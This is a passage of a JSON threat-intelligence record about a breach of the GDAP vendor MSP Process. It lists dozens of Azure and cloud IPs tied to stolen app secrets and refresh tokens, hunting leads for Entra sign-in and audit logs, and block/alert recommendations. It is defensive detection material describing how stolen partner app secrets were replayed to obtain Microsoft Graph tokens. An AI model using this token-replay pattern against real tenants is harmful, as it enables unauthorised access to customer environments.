MSP Process app IDs from any IP other than 64.236.54.139.", "Audit app role assignments, new app secrets and GDAP security-group membership changes since 6 November 2026.", "Block 172.169.63.30 with a Conditional Access named location; 143.198.68.206 (DigitalOcean) and most other IPs are shared or proxy space, so alert rather than block." ], "sources": [ { "url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "label": "Inforcer – When a GDAP vendor is breached, check your own tenant", "name": "Inforcer" }, { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "name": "The Stack" } ], "indicator_count": 57, "block_now_count": 1, "hunt_count": 56, "hunt_counts": { "alert": 55, "monitor": 1 }, "indicator_counts": { "ipv4": 57 }, "ioas": [ { "artefact": "Service principal sign-ins for the app connected to MSP Process from any address other than 64.236.54.139, from 09:56 UTC on 7 November 2026", "log_source": "Entra service principal sign-in logs, in the MSP's own tenant where the app is registered", "why": "MSP Process says to treat any other address as suspicious. The stolen secrets were used to get Microsoft Graph tokens without a user sign-in.", "action": "alert", "has_query": true, "source_url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "source_name": "Inforcer", "title": "App sign-ins from outside the MSP Process address", "queries": [ "KQL", "SPL" ] }, { "artefact": "One address using several partner app secrets within seconds, first failing (invalid client secret, missing service principal) and succeeding about an hour later", "log_source": "Entra service principal sign-in logs", "why": "Inforcer saw this scripted pattern from 172.169.63.30 between 10:28 and 11:31 UTC on 7 November. The address is shared Azure space, so the pattern matters more than the IP.", "action": "hunt", "has_query": false, "source_url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "source_name": "Inforcer", "title": "One address trying several partner app secrets", "queries": [] }, { "artefact": "Non-interactive user sign-ins with the connecting admin's refresh token from an address other than 64.236.54.139", "log_source": "Entra non-interactive user sign-in logs", "why": "Stolen refresh tokens show up here. Inforcer found the attempts failed where the token had expired through inactivity.", "action": "alert", "has_query": false, "source_url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "source_name": "Inforcer", "title": "Admin refresh token used from another address", "queries": [] }, { "artefact": "New app credentials, app role assignments, new users or GDAP security-group membership changes initiated by the MSP Process app since 6 November 2026", "log_source": "Entra audit logs", "why": "The app permissions MSP Process asked for (AppRoleAssignment.ReadWrite.All, Application.ReadWrite.All, Directory.ReadWrite.All) allow exactly these changes.", "action": "alert", "has_query": true, "source_url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "source_name": "Inforcer", "title": "Tenant changes made by the MSP Process app", "queries": [ "KQL", "SPL" ] }, { "artefact": "Microsoft Graph requests made with the app's tokens from an address other than 64.236.54.139", "log_source": "Microsoft Graph activity logs (only if already enabled on 7 November)", "why": "Sign-in and audit logs cannot show what a token read; Graph activity logs can, and UniqueTokenIdentifier links a sign-in to its Graph requests.", "action": "hunt", "has_query": false, "source_url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "source_name": "Inforcer", "title": "Graph requests with the app's tokens from another address", "queries": [] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/block_now.txt", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/defender_xdr_indicators.csv", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt.kql", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt.spl", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt_raw.spl", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/hunt.yaral", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse/iocs.csv", "download": "MSP-Process-GDAP-Breach-Entra-Token-Abuse_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse", "share_url": "https://iocwatch.com/t/MSP-Process-GDAP-Breach-Entra-Token-Abuse/", "indicators": [ { "value": "172.169.63.30", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Azure IP that used several partners' stolen MSP Process app secrets to get Microsoft Graph tokens within seconds on 7 Nov 2026 (11:30–11:31 UTC), reported by Inforcer and Huntress.", "source_url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "source_label": "Inforcer – When a GDAP vendor is breached, check your own tenant", "source_name": "Inforcer", "sources": [ { "url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "name": "Inforcer" }, { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.54.139", "type": "ipv4", "confidence": "high", "recommended_action": "monitor", "description": "Legitimate MSP Process egress IP; do not block. Sign-ins by MSP Process app IDs from any other address are suspicious.", "source_url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "source_label": "Inforcer – When a GDAP vendor is breached, check your own tenant", "source_name": "Inforcer", "sources": [ { "url": "https://www.inforcer.com/insights/when-a-gdap-vendor-is-breached-check-your-own-tenant", "name": "Inforcer" } ] }, { "value": "172.169.207.227", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.169.187.35", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.169.63.29", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.169.63.35", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.169.29.166", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.169.58.181", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.169.206.55", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.168.41.166", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.168.117.170", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.168.253.63", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.112.134", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.112.237", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.112.251", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.112.221", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.112.120", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.112.111", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.113.15", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.113.23", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "64.236.113.32", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.230.237.27", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.230.237.16", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.230.237.18", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.230.237.21", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.230.237.13", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.230.237.9", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.228.167.149", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.228.167.121", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "52.154.255.0", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "40.89.240.243", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "40.89.240.113", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "40.83.16.22", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "13.89.111.197", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "20.84.171.92", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "130.131.144.244", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "135.233.107.143", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "172.215.180.155", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Microsoft Azure IP on the Huntress list of addresses behind malicious MSP Process app sign-ins (user agents node, Wget, Python-urllib/3.6, Mozilla/5.0); shared cloud space, so alert on Entra service-principal sign-ins rather than block.", "source_url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "source_label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "source_name": "The Stack", "sources": [ { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "name": "The Stack" } ] }, { "value": "143.198.68.206", "type": "ipv4", "confidence": 